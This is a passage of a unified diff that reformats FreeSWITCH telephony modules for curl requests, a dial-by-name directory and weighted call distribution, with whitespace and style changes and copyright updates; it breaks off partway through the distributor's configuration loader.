@@ -257,24 +256,23 @@ SWITCH_STANDARD_APP(curl_app_function)
|
||||
if (!(mydata = switch_core_session_strdup(session, data))) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
|
||||
if (argc == 0) {
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
|
||||
}
|
||||
|
||||
|
||||
url = switch_core_strdup(pool, argv[0]);
|
||||
|
||||
for (i =1; i < argc; i++) {
|
||||
for (i = 1; i < argc; i++) {
|
||||
if (!strcasecmp("headers", argv[i])) {
|
||||
do_headers = SWITCH_TRUE;
|
||||
} else if (!strcasecmp("json", argv[i])) {
|
||||
do_json = SWITCH_TRUE;
|
||||
} else if ( !strcasecmp("get", argv[i]) ||
|
||||
!strcasecmp("head", argv[i])) {
|
||||
} else if (!strcasecmp("get", argv[i]) || !strcasecmp("head", argv[i])) {
|
||||
method = switch_core_strdup(pool, argv[i]);
|
||||
} else if (!strcasecmp("post", argv[i])) {
|
||||
if ( ++i < argc) {
|
||||
if (++i < argc) {
|
||||
postdata = switch_core_strdup(pool, argv[i]);
|
||||
switch_url_decode(postdata);
|
||||
} else {
|
||||
@@ -283,7 +281,7 @@ SWITCH_STANDARD_APP(curl_app_function)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
http_data = do_lookup_url(pool, url, method, postdata);
|
||||
if (do_json) {
|
||||
switch_channel_set_variable(channel, "curl_response_data", print_json(pool, http_data));
|
||||
@@ -291,7 +289,7 @@ SWITCH_STANDARD_APP(curl_app_function)
|
||||
SWITCH_STANDARD_STREAM(stream);
|
||||
if (do_headers) {
|
||||
slist = http_data->headers;
|
||||
while(slist) {
|
||||
while (slist) {
|
||||
stream.write_function(&stream, "%s\n", slist->data);
|
||||
slist = slist->next;
|
||||
}
|
||||
@@ -300,17 +298,16 @@ SWITCH_STANDARD_APP(curl_app_function)
|
||||
stream.write_function(&stream, "%s", http_data->http_response ? http_data->http_response : "");
|
||||
switch_channel_set_variable(channel, "curl_response_data", stream.data);
|
||||
}
|
||||
switch_channel_set_variable(channel, "curl_response_code",
|
||||
switch_core_sprintf(pool, "%ld", http_data->http_response_code));
|
||||
switch_channel_set_variable(channel, "curl_response_code", switch_core_sprintf(pool, "%ld", http_data->http_response_code));
|
||||
switch_channel_set_variable(channel, "curl_method", method);
|
||||
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
|
||||
|
||||
usage:
|
||||
|
||||
usage:
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SYNTAX);
|
||||
switch_goto_status(status, done);
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
switch_safe_free(stream.data);
|
||||
if (http_data && http_data->headers) {
|
||||
curl_slist_free_all(http_data->headers);
|
||||
@@ -319,6 +316,7 @@ done:
|
||||
switch_core_destroy_memory_pool(&pool);
|
||||
}
|
||||
}
|
||||
|
||||
SWITCH_STANDARD_API(curl_function)
|
||||
{
|
||||
switch_status_t status;
|
||||
@@ -335,7 +333,7 @@ SWITCH_STANDARD_API(curl_function)
|
||||
int i = 0;
|
||||
|
||||
switch_memory_pool_t *pool = NULL;
|
||||
|
||||
|
||||
if (zstr(cmd)) {
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
|
||||
}
|
||||
@@ -351,20 +349,19 @@ SWITCH_STANDARD_API(curl_function)
|
||||
if (argc < 1) {
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
|
||||
}
|
||||
|
||||
|
||||
url = switch_core_strdup(pool, argv[0]);
|
||||
|
||||
for (i =1; i < argc; i++) {
|
||||
|
||||
for (i = 1; i < argc; i++) {
|
||||
if (!strcasecmp("headers", argv[i])) {
|
||||
do_headers = SWITCH_TRUE;
|
||||
} else if (!strcasecmp("json", argv[i])) {
|
||||
do_json = SWITCH_TRUE;
|
||||
} else if ( !strcasecmp("get", argv[i]) ||
|
||||
!strcasecmp("head", argv[i])) {
|
||||
} else if (!strcasecmp("get", argv[i]) || !strcasecmp("head", argv[i])) {
|
||||
method = switch_core_strdup(pool, argv[i]);
|
||||
} else if (!strcasecmp("post", argv[i])) {
|
||||
method = "post";
|
||||
if ( ++i < argc) {
|
||||
if (++i < argc) {
|
||||
postdata = switch_core_strdup(pool, argv[i]);
|
||||
switch_url_decode(postdata);
|
||||
} else {
|
||||
@@ -372,14 +369,14 @@ SWITCH_STANDARD_API(curl_function)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
http_data = do_lookup_url(pool, url, method, postdata);
|
||||
if (do_json) {
|
||||
stream->write_function(stream, "%s", print_json(pool, http_data));
|
||||
} else {
|
||||
if (do_headers) {
|
||||
slist = http_data->headers;
|
||||
while(slist) {
|
||||
while (slist) {
|
||||
stream->write_function(stream, "%s\n", slist->data);
|
||||
slist = slist->next;
|
||||
}
|
||||
@@ -390,11 +387,11 @@ SWITCH_STANDARD_API(curl_function)
|
||||
}
|
||||
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
|
||||
|
||||
usage:
|
||||
usage:
|
||||
stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
|
||||
switch_goto_status(status, done);
|
||||
|
||||
done:
|
||||
|
||||
done:
|
||||
if (http_data && http_data->headers) {
|
||||
curl_slist_free_all(http_data->headers);
|
||||
}
|
||||
@@ -414,7 +411,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_curl_load)
|
||||
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
|
||||
|
||||
memset(&globals, 0, sizeof(globals));
|
||||
|
||||
|
||||
globals.pool = pool;
|
||||
|
||||
SWITCH_ADD_API(api_interface, "curl", "curl API", curl_function, SYNTAX);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -40,19 +40,16 @@ SWITCH_MODULE_DEFINITION(mod_directory, mod_directory_load, mod_directory_shutdo
|
||||
static const char *global_cf = "directory.conf";
|
||||
|
||||
static char dir_sql[] =
|
||||
"CREATE TABLE directory_search (\n"
|
||||
" hostname VARCHAR(255),\n"
|
||||
" uuid VARCHAR(255),\n"
|
||||
" extension VARCHAR(255),\n"
|
||||
" full_name VARCHAR(255),\n"
|
||||
" full_name_digit VARCHAR(255),\n"
|
||||
" first_name VARCHAR(255),\n"
|
||||
" first_name_digit VARCHAR(255),\n"
|
||||
" last_name VARCHAR(255),\n"
|
||||
" last_name_digit VARCHAR(255),\n"
|
||||
" name_visible INTEGER,\n"
|
||||
" exten_visible INTEGER\n"
|
||||
");\n";
|
||||
"CREATE TABLE directory_search (\n"
|
||||
" hostname VARCHAR(255),\n"
|
||||
" uuid VARCHAR(255),\n"
|
||||
" extension VARCHAR(255),\n"
|
||||
" full_name VARCHAR(255),\n"
|
||||
" full_name_digit VARCHAR(255),\n"
|
||||
" first_name VARCHAR(255),\n"
|
||||
" first_name_digit VARCHAR(255),\n"
|
||||
" last_name VARCHAR(255),\n"
|
||||
" last_name_digit VARCHAR(255),\n" " name_visible INTEGER,\n" " exten_visible INTEGER\n" ");\n";
|
||||
|
||||
#define DIR_RESULT_ITEM "directory_result_item"
|
||||
#define DIR_RESULT_SAY_NAME "directory_result_say_name"
|
||||
@@ -113,51 +110,52 @@ typedef enum {
|
||||
PFLAG_DESTROY = 1 << 0
|
||||
} dir_flags_t;
|
||||
|
||||
static int digit_matching_keypad(char letter) {
|
||||
static int digit_matching_keypad(char letter)
|
||||
{
|
||||
int result = -1;
|
||||
switch(toupper(letter)) {
|
||||
case 'A':
|
||||
case 'B':
|
||||
case 'C':
|
||||
result = 2;
|
||||
break;
|
||||
case 'D':
|
||||
case 'E':
|
||||
case 'F':
|
||||
result = 3;
|
||||
break;
|
||||
case 'G':
|
||||
case 'H':
|
||||
case 'I':
|
||||
result = 4;
|
||||
break;
|
||||
case 'J':
|
||||
case 'K':
|
||||
case 'L':
|
||||
result = 5;
|
||||
break;
|
||||
case 'M':
|
||||
case 'N':
|
||||
case 'O':
|
||||
result = 6;
|
||||
break;
|
||||
case 'P':
|
||||
case 'Q':
|
||||
case 'R':
|
||||
case 'S':
|
||||
result = 7;
|
||||
break;
|
||||
case 'T':
|
||||
case 'U':
|
||||
case 'V':
|
||||
result = 8;
|
||||
break;
|
||||
case 'W':
|
||||
case 'X':
|
||||
case 'Y':
|
||||
case 'Z':
|
||||
result = 9;
|
||||
break;
|
||||
switch (toupper(letter)) {
|
||||
case 'A':
|
||||
case 'B':
|
||||
case 'C':
|
||||
result = 2;
|
||||
break;
|
||||
case 'D':
|
||||
case 'E':
|
||||
case 'F':
|
||||
result = 3;
|
||||
break;
|
||||
case 'G':
|
||||
case 'H':
|
||||
case 'I':
|
||||
result = 4;
|
||||
break;
|
||||
case 'J':
|
||||
case 'K':
|
||||
case 'L':
|
||||
result = 5;
|
||||
break;
|
||||
case 'M':
|
||||
case 'N':
|
||||
case 'O':
|
||||
result = 6;
|
||||
break;
|
||||
case 'P':
|
||||
case 'Q':
|
||||
case 'R':
|
||||
case 'S':
|
||||
result = 7;
|
||||
break;
|
||||
case 'T':
|
||||
case 'U':
|
||||
case 'V':
|
||||
result = 8;
|
||||
break;
|
||||
case 'W':
|
||||
case 'X':
|
||||
case 'Y':
|
||||
case 'Z':
|
||||
result = 9;
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
@@ -185,7 +183,7 @@ char *string_to_keypad_digit(const char *in)
|
||||
if (*d) {
|
||||
*d = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
@@ -206,7 +204,7 @@ static switch_status_t directory_execute_sql(char *sql, switch_mutex_t *mutex)
|
||||
status = switch_core_db_persistant_execute(db, sql, 1);
|
||||
switch_core_db_close(db);
|
||||
|
||||
end:
|
||||
end:
|
||||
if (mutex) {
|
||||
switch_mutex_unlock(mutex);
|
||||
}
|
||||
@@ -304,7 +302,7 @@ static switch_bool_t directory_execute_sql_callback(switch_mutex_t *mutex, char
|
||||
switch_core_db_close(db);
|
||||
}
|
||||
|
||||
end:
|
||||
end:
|
||||
if (mutex) {
|
||||
switch_mutex_unlock(mutex);
|
||||
}
|
||||
@@ -337,34 +335,32 @@ dir_profile_t *profile_set_config(dir_profile_t *profile)
|
||||
|
||||
profile->config_str_pool.pool = profile->pool;
|
||||
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
|
||||
&profile->next_key, "6", &config_dtmf, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prev-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
|
||||
&profile->prev_key, "4", &config_dtmf, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->next_key, "6", &config_dtmf, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prev-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->prev_key, "4", &config_dtmf, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "terminator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
|
||||
&profile->terminator_key, "#", &config_dtmf, NULL, NULL);
|
||||
&profile->terminator_key, "#", &config_dtmf, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "switch-order-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
|
||||
&profile->switch_order_key, "*", &config_dtmf, NULL, NULL);
|
||||
&profile->switch_order_key, "*", &config_dtmf, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "select-name-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
|
||||
&profile->select_name_key, "1", &config_dtmf, NULL, NULL);
|
||||
&profile->select_name_key, "1", &config_dtmf, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "new-search-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
|
||||
&profile->new_search_key, "3", &config_dtmf, NULL, NULL);
|
||||
&profile->new_search_key, "3", &config_dtmf, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "search-order", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
|
||||
&profile->search_order, "last_name", &profile->config_str_pool, NULL, NULL);
|
||||
&profile->search_order, "last_name", &profile->config_str_pool, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "digit-timeout", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
|
||||
&profile->digit_timeout, 3000, &config_int_digit_timeout, NULL, NULL);
|
||||
&profile->digit_timeout, 3000, &config_int_digit_timeout, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "min-search-digits", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
|
||||
&profile->min_search_digits, 3, &config_int_ht_0, NULL, NULL);
|
||||
&profile->min_search_digits, 3, &config_int_ht_0, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-menu-attempts", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
|
||||
&profile->max_menu_attempt, 3, &config_int_ht_0, NULL, NULL);
|
||||
&profile->max_menu_attempt, 3, &config_int_ht_0, NULL, NULL);
|
||||
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-result", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
|
||||
&profile->max_result, 5, &config_int_ht_0, NULL, NULL);
|
||||
&profile->max_result, 5, &config_int_ht_0, NULL, NULL);
|
||||
|
||||
return profile;
|
||||
|
||||
}
|
||||
|
||||
static dir_profile_t * load_profile(const char *profile_name)
|
||||
static dir_profile_t *load_profile(const char *profile_name)
|
||||
{
|
||||
dir_profile_t *profile = NULL;
|
||||
switch_xml_t x_profiles, x_profile, cfg, xml = NULL;
|
||||
@@ -413,7 +409,7 @@ static dir_profile_t * load_profile(const char *profile_name)
|
||||
switch_core_hash_insert(globals.profile_hash, profile->name, profile);
|
||||
}
|
||||
|
||||
end:
|
||||
end:
|
||||
switch_xml_free(xml);
|
||||
|
||||
return profile;
|
||||
@@ -451,7 +447,7 @@ static switch_status_t load_config(switch_bool_t reload)
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
static dir_profile_t * get_profile(const char *profile_name)
|
||||
static dir_profile_t *get_profile(const char *profile_name)
|
||||
{
|
||||
dir_profile_t *profile = NULL;
|
||||
|
||||
@@ -469,7 +465,8 @@ static dir_profile_t * get_profile(const char *profile_name)
|
||||
return profile;
|
||||
}
|
||||
|
||||
static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t * profile, const char *domain_name) {
|
||||
static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t *profile, const char *domain_name)
|
||||
{
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
|
||||
char *sql = NULL;
|
||||
@@ -561,8 +558,9 @@ static switch_status_t populate_database(switch_core_session_t *session, dir_pro
|
||||
firstNameDigit = string_to_keypad_digit(firstName);
|
||||
|
||||
/* add user into DB */
|
||||
sql = switch_mprintf("insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')",
|
||||
globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit, lastName, lastNameDigit, name_visible, exten_visible);
|
||||
sql = switch_mprintf("insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')",
|
||||
globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit,
|
||||
lastName, lastNameDigit, name_visible, exten_visible);
|
||||
|
||||
if (sqlvalues) {
|
||||
sqltmp = sqlvalues;
|
||||
@@ -580,10 +578,10 @@ static switch_status_t populate_database(switch_core_session_t *session, dir_pro
|
||||
}
|
||||
}
|
||||
}
|
||||
sql = switch_mprintf("BEGIN;%s;COMMIT;",sqlvalues);
|
||||
sql = switch_mprintf("BEGIN;%s;COMMIT;", sqlvalues);
|
||||
directory_execute_sql(sql, profile->mutex);
|
||||
|
||||
end:
|
||||
end:
|
||||
switch_safe_free(sql);
|
||||
switch_safe_free(sqlvalues);
|
||||
switch_event_destroy(&xml_params);
|
||||
@@ -603,27 +601,27 @@ typedef struct cb_result cbr_t;
|
||||
static switch_status_t on_dtmf(switch_core_session_t *session, void *input, switch_input_type_t itype, void *buf, unsigned int buflen)
|
||||
{
|
||||
switch (itype) {
|
||||
case SWITCH_INPUT_TYPE_DTMF:
|
||||
{
|
||||
switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
|
||||
cbr_t *cbr = (cbr_t *) buf;
|
||||
cbr->digit = dtmf->digit;
|
||||
if (dtmf->digit == *cbr->profile->terminator_key || dtmf->digit == *cbr->profile->switch_order_key) {
|
||||
return SWITCH_STATUS_BREAK;
|
||||
}
|
||||
|
||||
if (strlen(cbr->digits) < sizeof(cbr->digits) - 2) {
|
||||
int at = strlen(cbr->digits);
|
||||
cbr->digits[at++] = dtmf->digit;
|
||||
cbr->digits[at] = '\0';
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "DTMF buffer is full\n");
|
||||
return SWITCH_STATUS_BREAK;
|
||||
}
|
||||
case SWITCH_INPUT_TYPE_DTMF:
|
||||
{
|
||||
switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
|
||||
cbr_t *cbr = (cbr_t *) buf;
|
||||
cbr->digit = dtmf->digit;
|
||||
if (dtmf->digit == *cbr->profile->terminator_key || dtmf->digit == *cbr->profile->switch_order_key) {
|
||||
return SWITCH_STATUS_BREAK;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
|
||||
if (strlen(cbr->digits) < sizeof(cbr->digits) - 2) {
|
||||
int at = strlen(cbr->digits);
|
||||
cbr->digits[at++] = dtmf->digit;
|
||||
cbr->digits[at] = '\0';
|
||||
} else {
|
||||
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "DTMF buffer is full\n");
|
||||
return SWITCH_STATUS_BREAK;
|
||||
}
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
return SWITCH_STATUS_BREAK;
|
||||
@@ -650,12 +648,12 @@ static switch_status_t listen_entry(switch_core_session_t *session, dir_profile_
|
||||
}
|
||||
|
||||
if (zstr_buf(buf)) {
|
||||
switch_snprintf(macro, sizeof(macro), "phrase:%s:%d", DIR_RESULT_ITEM, cbt->want+1);
|
||||
switch_snprintf(macro, sizeof(macro), "phrase:%s:%d", DIR_RESULT_ITEM, cbt->want + 1);
|
||||
switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile->terminator_key);
|
||||
}
|
||||
|
||||
if (!zstr_buf(recorded_name) && zstr_buf(buf)) {
|
||||
switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile->terminator_key);
|
||||
switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile->terminator_key);
|
||||
|
||||
}
|
||||
if (zstr_buf(recorded_name) && zstr_buf(buf)) {
|
||||
@@ -667,7 +665,8 @@ static switch_status_t listen_entry(switch_core_session_t *session, dir_profile_
|
||||
switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile->terminator_key);
|
||||
}
|
||||
if (zstr_buf(buf)) {
|
||||
switch_snprintf(macro, sizeof(macro), "phrase:%s:%c,%c,%c,%c", DIR_RESULT_MENU, *profile->select_name_key, *profile->next_key, *profile->prev_key, *profile->new_search_key);
|
||||
switch_snprintf(macro, sizeof(macro), "phrase:%s:%c,%c,%c,%c", DIR_RESULT_MENU, *profile->select_name_key, *profile->next_key, *profile->prev_key,
|
||||
*profile->new_search_key);
|
||||
switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), profile->digit_timeout, profile->terminator_key);
|
||||
}
|
||||
|
||||
@@ -688,7 +687,8 @@ static switch_status_t listen_entry(switch_core_session_t *session, dir_profile_
|
||||
return SWITCH_STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
|
||||
switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
|
||||
{
|
||||
switch_channel_t *channel = switch_core_session_get_channel(session);
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
cbr_t cbr;
|
||||
@@ -707,7 +707,7 @@ switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t
|
||||
|
||||
/* Gather the user Name */
|
||||
|
||||
switch_snprintf(macro, sizeof(macro), "%s:%c", (params->search_by_last_name?"last_name":"first_name"), *profile->switch_order_key);
|
||||
switch_snprintf(macro, sizeof(macro), "%s:%c", (params->search_by_last_name ? "last_name" : "first_name"), *profile->switch_order_key);
|
||||
switch_ivr_phrase_macro(session, DIR_INTRO, macro, NULL, &args);
|
||||
|
||||
while (switch_channel_ready(channel)) {
|
||||
@@ -737,7 +737,8 @@ switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t
|
||||
return status;
|
||||
}
|
||||
|
||||
switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
|
||||
switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
|
||||
{
|
||||
switch_status_t status = SWITCH_STATUS_SUCCESS;
|
||||
char *sql = NULL;
|
||||
char entry_count[80] = "";
|
||||
@@ -749,7 +750,10 @@ switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *p
|
||||
cbt.buf = entry_count;
|
||||
cbt.len = sizeof(entry_count);
|
||||
|
||||
sql = switch_mprintf("select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'", globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name?"last_name_digit":"first_name_digit"), params->digits);
|
||||
sql =
|
||||
switch_mprintf("select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'",
|
||||
globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name ? "last_name_digit" : "first_name_digit"),
|
||||
params->digits);
|
||||
|
||||
directory_execute_sql_callback(profile->mutex, sql, sql2str_callback, &cbt);
|
||||
switch_safe_free(sql);
|
||||
@@ -773,7 +777,10 @@ switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *p
|
||||
memset(&listing_cbt, 0, sizeof(listing_cbt));
|
||||
listing_cbt.params = params;
|
||||
|
||||
sql = switch_mprintf("select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name", globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name?"last_name_digit":"first_name_digit"), params->digits);
|
||||
sql =
|
||||
switch_mprintf
|
||||
("select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name",
|
||||
globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name ? "last_name_digit" : "first_name_digit"), params->digits);
|
||||
|
||||
for (cur_entry = 0; cur_entry < result_count; cur_entry++) {
|
||||
listing_cbt.index = 0;
|
||||
@@ -812,7 +819,7 @@ switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *p
|
||||
}
|
||||
}
|
||||
|
||||
end:
|
||||
end:
|
||||
switch_safe_free(sql);
|
||||
return status;
|
||||
|
||||
@@ -825,8 +832,8 @@ SWITCH_STANDARD_APP(directory_function)
|
||||
char *argv[6] = { 0 };
|
||||
char *mydata = NULL;
|
||||
const char *profile_name = NULL;
|
||||
const char *domain_name = NULL;
|
||||
dir_profile_t * profile = NULL;
|
||||
const char *domain_name = NULL;
|
||||
dir_profile_t *profile = NULL;
|
||||
int x = 0;
|
||||
char *sql = NULL;
|
||||
search_params_t s_param;
|
||||
@@ -866,7 +873,7 @@ SWITCH_STANDARD_APP(directory_function)
|
||||
s_param.search_by_last_name = 0;
|
||||
}
|
||||
attempts = profile->max_menu_attempt;
|
||||
s_param.try_again = 1;
|
||||
s_param.try_again = 1;
|
||||
while (switch_channel_ready(channel) && (s_param.try_again && attempts-- > 0)) {
|
||||
s_param.try_again = 0;
|
||||
gather_name_digit(session, profile, &s_param);
|
||||
@@ -895,7 +902,7 @@ SWITCH_STANDARD_APP(directory_function)
|
||||
sql = switch_mprintf("delete from directory_search where hostname = '%q' and uuid = '%q'", globals.hostname, switch_core_session_get_uuid(session));
|
||||
directory_execute_sql(sql, profile->mutex);
|
||||
switch_safe_free(sql);
|
||||
profile_rwunlock(profile);
|
||||
profile_rwunlock(profile);
|
||||
}
|
||||
|
||||
SWITCH_MODULE_LOAD_FUNCTION(mod_directory_load)
|
||||
@@ -954,7 +961,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_directory_shutdown)
|
||||
|
||||
switch_mutex_lock(globals.mutex);
|
||||
|
||||
while((hi = switch_hash_first(NULL, globals.profile_hash))) {
|
||||
while ((hi = switch_hash_first(NULL, globals.profile_hash))) {
|
||||
switch_hash_this(hi, &key, &keylen, &val);
|
||||
profile = (dir_profile_t *) val;
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
|
||||
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
|
||||
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
|
||||
*
|
||||
* Version: MPL 1.1
|
||||
*
|
||||
@@ -64,7 +64,7 @@ struct dist_list {
|
||||
static void destroy_node(struct dist_node *node)
|
||||
{
|
||||
struct dist_node *old;
|
||||
while(node) {
|
||||
while (node) {
|
||||
old = node;
|
||||
node = node->next;
|
||||
if (old->name) {
|
||||
@@ -78,7 +78,7 @@ static void destroy_list(struct dist_list *list)
|
||||
{
|
||||
struct dist_list *old;
|
||||
|
||||
while(list) {
|
||||
while (list) {
|
||||
old = list;
|
||||
list = list->next;
|
||||
destroy_node(old->nodes);
|
||||
@@ -97,14 +97,14 @@ static struct {
|
||||
|
||||
|
||||
|
||||
static int load_config(int reloading)
|
||||
static int load_config(int reloading)
|
||||
{
|
||||
struct dist_list *main_list=NULL, *new_list, *old_list=NULL, *lp=NULL;
|
||||
struct dist_list *main_list = NULL, *new_list, *old_list = NULL, *lp = NULL;
|
||||
switch_status_t status = SWITCH_STATUS_FALSE;
|
||||
char *cf = "distributor.conf";
|
||||
switch_xml_t cfg, xml, lists, list, param;
|
||||
|
||||
|
||||
|
||||
|
||||
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
|
||||
return SWITCH_STATUS_TERM;
|
||||
@@ -120,7 +120,7 @@ static int load_config(int reloading)
|
||||
for (list = switch_xml_child(lists, "list"); list; list = list->next) {
|
||||
const char *name = switch_xml_attr(list, "name");
|
||||
const char *tweight = switch_xml_attr(list, "total-weight");
|
||||
struct dist_node *node, *np=NULL;
|
||||
struct dist_node *node, *np = NULL;
|
||||
int target_weight = 10;
|
||||
int accum = 0;
|
||||
|
||||
@@ -128,30 +128,30 @@ static int load_config(int reloading)
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing NAME!\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
if (!zstr(tweight)) {
|
||||
target_weight = atoi(tweight);
|
||||
}
|
||||
|
||||
switch_zmalloc(new_list, sizeof(*new_list));
|
||||
|
||||
|
||||
new_list->name = strdup(name);
|
||||
new_list->last = -1;
|
||||
new_list->target_weight = target_weight;
|
||||
|
||||
|
||||
if (lp) {
|
||||
lp->next = new_list;
|
||||
} else {
|
||||
main_list = new_list;
|
||||
}
|
||||
|
||||
|
||||
lp = new_list;
|
||||
|
||||
|
||||
for (param = switch_xml_child(list, "node"); param; param = param->next) {
|
||||
char *name = (char *) switch_xml_attr_soft(param, "name");
|
||||
char *weight_val = (char *) switch_xml_attr_soft(param, "weight");
|
||||
int weight = 0, tmp;
|
||||
|
||||
|
||||
if ((tmp = atoi(weight_val)) < 1) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be > 0\n", tmp);
|
||||
continue;
|
||||
@@ -163,23 +163,25 @@ static int load_config(int reloading)
|
||||
}
|
||||
|
||||
if (accum + tmp > lp->target_weight) {
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Target Weight %d already met, ignoring subsequent entries.\n", lp->target_weight);
|
||||
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Target Weight %d already met, ignoring subsequent entries.\n",
|
||||
lp->target_weight);
|
||||
continue;
|
||||
}
|
||||
|
||||
accum += tmp;
|
||||
|
||||
weight = lp->target_weight - tmp;
|
||||
|
||||
